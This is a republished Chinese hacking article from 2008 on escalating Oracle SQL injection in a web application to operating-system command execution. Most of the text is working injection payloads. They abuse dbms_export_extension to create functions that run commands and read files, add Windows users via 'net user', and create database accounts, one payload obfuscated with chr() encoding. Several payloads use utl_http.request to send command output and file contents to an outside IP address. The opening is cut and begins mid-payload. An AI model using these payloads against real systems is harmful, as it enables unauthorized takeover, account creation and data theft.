犀利的 oracle 注入技术犀利的 oracle 注入技术
原文发表在黑客手册
linx 2008.1.12
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
以下的演示都是在web上的sql plus执行... 09-06-09
t all on linxruncmd to public'''';end;'';end;–','sys',0,'1',0) from dual
select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''grant all on linxreadfile to public'''';end;'';end;–','sys',0,'1',0) from dual
5.测试上面的几步是否成功
and '1'<>'11'||(
select object_id from all_objects where object_name ='linxruncmd'
)
and '1'<>(
select object_id from all_objects where object_name ='linxreadfile'
)
6.执行命令:
/xxx.jsp?id=1 and '1'<>(
select sys.linxruncmd('cmd /c net user linx /add') from dual
)
/xxx.jsp?id=1 and '1'<>(
select sys.linxreadfile('c:/boot.ini') from dual
)
注意sys.linxreadfile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select sys.linxruncmd('cmd /c net user linx /add') from dual
或者utl_http.request(:
/xxx.jsp?id=1 and '1'<>(
select utl_http.request('http://211.71.147.3/record.php?a=linxruncmd:'||replace(replace(sys.linxruncmd('cmd /c net user aaa /del'),' ','%20'),'\n','%0a')) from dual
)
/xxx.jsp?id=1 and '1'<>(
select utl_http.request('http://211.71.147.3/record.php?a=linxruncmd:'||replace(replace(sys.linxreadfile('c:/boot.ini'),' ','%20'),'\n','%0a')) from dual
)
注意:用utl_http.request时,要用 replace() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
——————–
6.内部变化
通过以下命令可以查看all_objects表达改变:
select * from all_objects where object_name like '%linx%' or object_name like '%linx%'
7.删除我们创建的函数
select sys.dbms_export_extension.get_domain_ind
ex_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
drop function linxruncmd '''';end;'';end;–','sys',0,'1',0) from dual
====================================================
全文结束。谨以此文赠与我的朋友。
linx
124829445
2008.1.12
linyujian@bjfu.edu.cn
======================================================================
测试漏洞的另一方法:
创建oracle帐号:
select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
create user linxsql identified by linxsql'''';end;'';end;–','sys',0,'1',0) from dual
即:
select sys.dbms_export_extension.get_domain_index_tables(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)
版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。
发表评论